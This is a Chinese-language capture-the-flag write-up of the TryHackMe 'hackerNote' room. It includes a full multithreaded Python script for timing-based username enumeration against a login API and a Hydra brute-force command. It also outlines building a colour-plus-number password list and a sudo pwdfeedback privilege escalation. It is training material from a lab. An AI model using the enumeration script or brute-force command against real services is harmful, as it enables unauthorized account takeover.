hackerNote
自定义 Web 应用程序，引入用户名枚举、自定义单词列表和基本权限提升漏洞。
端口扫描
循例 nmap
Web
80和8080都是一样的页面，并且存在一个登录页面
除此之外还有另一个信息就是它只有一个用户
存在注册功能，我们注册一个用户并登录
Get a Trick
根据thm的引导，我们退出登录
尝试登录无效的账户，而收到登录失败这个响应的时间是差不多2秒
而尝试登录已存在的账户，这个时间则是3秒
我们就可以利用此微妙的细节来进行用户枚举
这里通过自己写的多线程py脚本来枚举
由于openvpn不是特别稳定，容易导致极大的网络延迟，建议在攻击盒上运行脚本
import requests
from threading import Thread
import time
import sys
thread_num = int(sys.argv[2])
dictPath = sys.argv[1]
thread_list = []
url = "http://10.10.252.137/api/user/login"
valid_list = []
def login(*userList):
for user in userList:
data = {"username":user.strip(), "password":"123"}
start_time = time.time()
requests.post(url, json=data)
end_time =time.time()
ttime = end_time - start_time
print(ttime)
if ttime >= 1.0:
print(f"find: {user}")
sys.exit()
if __name__ == "__main__":
user_list = open(dictPath).readlines()
length = len(user_list)
step = int(length / thread_num) + 1
for start in range(0, length, step):
sub_user_list = user_list[start:start + step]
t = Thread(target=login, args=(sub_user_list))
thread_list.append(t)
t.start()
for t in thread_list:
t.join()
print("done")
房间中给了一个缩短的字典，利用这个字典很快就能爆出用户名
密码爆破
密码提示是“我最喜欢的颜色和我最喜欢的数字”
因此我们可以获得颜色的单词列表和数字的单词列表，并使用Hashcat Util的Combinator将它们组合在一起，这将为我们提供两个单词表的每个组合。使用此词表，我们可以使用 Hydra 攻击登录 API 路由并找到用户的密码。下载附加的单词列表文件，查看它们，然后使用hashcat-util的组合器组合它们。
Hashcat utils可以从以下位置下载： https://github.com/hashcat/hashcat-utils/releases
生成密码字典：
有了字典就可以开始爆破，使用hydra:
hydra -l james -P ./wordlist.txt 10.10.252.137 http-post-form '/api/user/login:username=james&password=^PASS^:F=Invalid'
登录james，发现直接给出了ssh密码
sudo缓冲区溢出提权
直接登录ssh，拿到user.txt
房间引导我们查看sudo -l，当前用户无法以 root 身份运行任何命令。但是，您可能已经注意到，当您输入密码时，您会看到星号。这不是默认行为。最近发布的 CVE 会影响此配置。该设置称为 pwdfeedback
我们稍后也将去另一个房间学习这个漏洞
房间为我们提供了exp，我们直接下载过来用
成功getroot，root.txt还在老地方
结束
其实这个房间最有意思的点在用户枚举的部分，非常的细节，虽然在thm的burp教程当中有教过类似的时间戳查看方法，但这是第一次将其应用于实践，并且还是自己写脚本，这是非常棒的
